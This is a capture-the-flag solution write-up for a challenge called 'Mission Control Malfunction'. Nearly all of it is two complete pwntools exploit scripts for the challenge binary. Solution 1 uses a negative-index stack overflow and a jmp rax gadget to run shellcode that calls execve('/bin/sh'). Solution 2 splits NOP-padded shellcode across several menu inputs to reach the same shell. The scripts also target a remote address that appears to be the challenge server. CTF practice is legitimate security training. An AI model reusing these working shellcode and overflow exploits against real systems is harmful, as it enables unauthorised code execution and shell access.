Mission Control Malfunction
#shellcode#buffer-overflow#solution-only
Contents
Analysis and Steps
This challenge have no difference with handoff from picoCTF 2025 in terms of techniques and binary structure.
Solution 1
#!/usr/bin/env python3
from pwn import *
elf = ELF("./handoff_patched")
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b vuln
b *0x4013d0
b *0x4013ac
c
"""
def conn():
if args.REMOTE:
r = remote("34.66.146.178", 7587)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
def main():
r = conn()
# a readable writable address for "/bin/sh\0"
binsh = 0x404048
# gadget from God
jmp_rax = 0x4011ae
# shellcode (I tried my best to make it only 40 bytes long ;) )
# read(stdin, binsh, 8);
# execve(binsh, NULL, NULL);
shellcode = asm(f"""
xor rdi, rdi;
mov rsi, {binsh};
mov rdx, 8;
xor rax, rax;
syscall;
mov rdi, rsi;
xor rsi, rsi;
xor rdx, rdx;
mov rax, 59;
syscall;
""")
# Send a message to a recipient
r.sendlineafter(b'Exit mission control', b'2')
# negative index bug, unpredictable things will happen if the index is negative
# fgets will buffer overflow its own stack
r.sendlineafter(b'send a transmission to?', b'-1')
# write shellcode on stack and execute
# rax is pointing at the beginning of shellcode
# (the shellcode must be less than or equal to 40 bytes)
payload = shellcode + p64(jmp_rax)
# send the payload
r.sendlineafter(b'like to send them?', payload)
# SYS_read is invoked. write /bin/sh on 0x404048
r.sendline(b'/bin/sh\0')
# SYS_execve is invoked and enjoy the shell privilege
r.interactive()
if __name__ == "__main__":
main()
Solution 2
#!/usr/bin/env python3
from pwn import *
elf = ELF("./handoff_patched")
context.binary = elf
context.arch = "amd64"
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b *0x4013e8
c
"""
def conn():
if args.REMOTE:
r = remote("addr", 1337)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
nop = lambda n : b'\x90' * n
def main():
r = conn()
# gadget from God
jmp_rax = 0x4011ae
# shellcode catching net
shellcode_catch = nop(20)
# shellcode jump to execve
shellcode_jmp = asm("""
sub rax, 0x2d4 - 8;
jmp rax;
""")
# shellcode execve
shellcode_execve = asm("""
mov rdi, rax;
add rdi, 50;
xor rsi, rsi;
xor rdx, rdx;
mov rax, 59
syscall;
""").ljust(50, b'\x90') + b'/bin/sh\0'
#print(shellcode_jmp)
#exit()
# payload
# because 8th byte will be replaced with 0, we need to shift the shellcode a little bit
payload_jmp = (nop(3) + shellcode_jmp).ljust(20, b'\x90') + p64(jmp_rax)
# Name doesn't really matter a lot, fill up with nop just in case
r.recvuntil(b'Exit mission control')
r.sendline(b'1')
r.recvuntil(b"What's the new crew member's callsign: ")
r.sendline(shellcode_catch)
# Write shellcode on stack
r.recvuntil(b'Exit mission control')
r.sendline(b'2')
r.recvuntil(b'Which crew member would you like to send a transmission to?')
r.sendline(b'0')
r.recvuntil(b'What transmission would you like to send them?')
r.sendline(shellcode_execve)
# jump to beginning of feedback and execute
r.recvuntil(b'Exit mission control')
r.sendline(b'3')
r.recvuntil(b'Thank you for using mission control! If you could take a second to write a quick mission report, we would really appreciate it: ')
r.sendline(payload_jmp)
# enjoy the shell
r.interactive()
if __name__ == "__main__":
main()